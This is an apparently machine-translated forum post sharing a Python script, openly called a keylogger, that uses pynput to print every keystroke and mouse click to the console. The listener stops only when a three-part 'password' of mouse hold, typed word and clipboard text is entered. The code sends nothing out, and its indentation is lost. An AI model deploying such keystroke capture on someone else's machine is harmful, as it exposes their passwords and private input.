你谈论键盘记录器......是的,如果你想要一个信号而不是来自一个键然后买一个遥控器:))
在这个示例代码中,我为密码组合了 3 种不同的东西,以防止错误地关闭侦听器事件。
按住鼠标中键/滚轮键,写一个单词 ex。@admin(点击那个关键字符)并让您复制一些文本...... PS。我不知道有多少人同时在键盘上写字,同时手握鼠标并握住轮轴……这只是一个例子,要有创意。
#// IMPORTS
import pyperclip
from pynput import keyboard, mouse
keylogger_stop = False
# password = [Boolean, String_1, String_2]
# Boolean - Need to hold mouse middle mutton, if you
# released befoure to finish, well try again
# String_1 - Write that password/word. Special keys
# are ignored (alt, ctrl, cmd, shift etc.)
# String 2 - You need to have this text copyed (Ctrl + C)
# and after you finish to write manual String_1
password = [False, "@dmin", ">> Double $$$ check! <<"]
pass_type = ""
class Keylogger:
def __init__(self):
Keylogger.Keyboard.Listener()
Keylogger.Mouse.Listener()
class Keyboard:
def Press(key):
if keylogger_stop == True: return False
else: print(f"K_K_P: {key}")
def Release(key):
global pass_type, keylogger_stop
# get copyed string + holding right mouse button pressed
if password[0] == True and pass_type == password[1]:
if pyperclip.paste().strip() == password[2]: keylogger_stop = True
else: password[0] = False; pass_type = ""
# write string password/word + holding right mouse button pressed
elif password[0] == True:
try: pass_type += key.char; print(pass_type, password[0])
except: pass
else: print(f"K_K_R: {key}")
def Listener():
l = keyboard.Listener(on_press = Keylogger.Keyboard.Press,
on_release = Keylogger.Keyboard.Release)
l.start()
class Mouse:
def Click(x, y, b, p):
global pass_type
if keylogger_stop == True: return False
# hold mouse button pressed, on release will reset the progress
elif b == mouse.Button.middle:
if p == True: password[0] = True
else: password[0] = False; pass_type = ""
else: print(f"{b} was {'pressed' if p else 'released'} at ({x} x {y})")
def Listener():
mouse.Listener(on_click = Keylogger.Mouse.Click).start()
class Main:
def __init__(self):
Keylogger()
#// RUN IF THIS FILE IS THE MAIN ONE
if __name__ == "__main__":
Main()